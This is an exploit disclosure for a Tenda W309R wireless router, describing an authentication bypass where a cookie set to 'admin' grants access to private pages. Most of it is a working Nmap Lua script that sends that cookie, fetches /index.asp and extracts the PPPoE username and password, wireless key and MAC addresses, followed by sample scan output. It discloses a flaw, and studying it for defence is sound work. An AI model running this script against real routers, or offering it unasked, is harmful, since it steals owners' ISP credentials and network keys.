---------------------------------------------------
# Exploit Title: Tenda W309R Configuration Enumeration without
Authentication
# Author: SANTHO <<@s4n7h0>>
# Vendor Homepage: http://www.tenda.cn
# Product link: http://www.tenda.cn/tendacn/product/show.aspx?productid=382
# Category: Hardware/Wireless Router
# Firmware Version : V5.07.46
---------------------------------------------------

Technical Details
~~~~~~~~~~~~~~~~~~
Tenda Wireless Router W309R doesn't have proper authentication for the web
application console. Though the application
asks for password, it has poor cookie management which allows a user to
login even without providing the password.
Application uses cookie value "admin" to access the private pages which
reveals configuration details such as
PPoE username, PPoE password, wireless authentication key, details of MAC
addresses etc, in the source code.


Exploit Code [written in Nmap Script]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
local nmap = require "nmap"
local shortport = require "shortport"
local table = require "table"
local http = require "http"
local stdnse = require 'stdnse'

description = [[
Tenda W309R allows an attacker to access the configuration detailed with no
authentication.
Firmware Tested : V5.07.46

Thanks & Credits : Mahesh Gavkar, Samandeep Singh (@samanLEET), Amit
Ghadigaonkar
]]

---
--@usage
-- nmap host --script http-tenda --script-args user=tenda
--80/tcp open  http
--| http-tenda:
--|   PPPoE Username : home_user
--|   PPPoE Password : 12345
--|   Wireless Password : 12345678
--|   Clone MAC : AA:AA:AA:AA:AA:AA
--|_  Face MAC : BB:BB:BB:BB:BB:BB
---

author = "Sanoop Thomas a.k.a @s4n7h0"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe","discovery"}

portrule = shortport.http

function formatme(line)
    local start = string.find(line, '"')
    local stop = string.find(line, '";')
    return line:sub(start+1,stop-1)
end

function fetchinfo(r)
    local tenda = {}
    local param,value
    for line in r.body:gmatch("[^\r\n]+") do
        if(line:match("def_PUN = "))then
            table.insert(tenda,"PPPoE Username : " .. formatme(line))
        end
        if(line:match("def_PPW ="))then
            table.insert(tenda,"PPPoE Password : " .. formatme(line))
        end
        if(line:match("def_wirelesspassword ="))then
            table.insert(tenda,"Wireless Password : " .. formatme(line))
        end
        if(line:match("var cln_MAC ="))then

            table.insert(tenda,"Clone MAC : " .. formatme(line))
        end
        if(line:match("var fac_MAC = "))then
            table.insert(tenda,"Face MAC : " .. formatme(line))
        end
    end
    return tenda
end


action = function(host, port)
    local user = "admin"
    local r
    local config = {}

    if(nmap.registry.args.user) then
        user = nmap.registry.args.user
    end

    local header = {
        cookies = user
    }
    r = http.get(host,port,'/index.asp',header)
    return stdnse.format_output(true, fetchinfo(r))
end


PoC Output
~~~~~~~~~~~~~
root@bt# nmap 192.168.0.1 -p 80 --script http-tenda-enum
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-28 17:35
Nmap scan report for 192.168.0.1
Host is up (0.0019s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-tenda-enum:
|   PPPoE Username : home_user
|   PPPoE Password : 12345
|   Wireless Password : 12345678
|   Clone MAC : AA:AA:AA:AA:AA:AA
|_  Face MAC : C8:3A:35:BB:BB:BB
MAC Address: C8:3A:35:BB:BB:BB (Tenda Technology Co.)

Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds








-- 
SANTHO
twitter : @s4n70 <https://twitter.com/s4n7h0>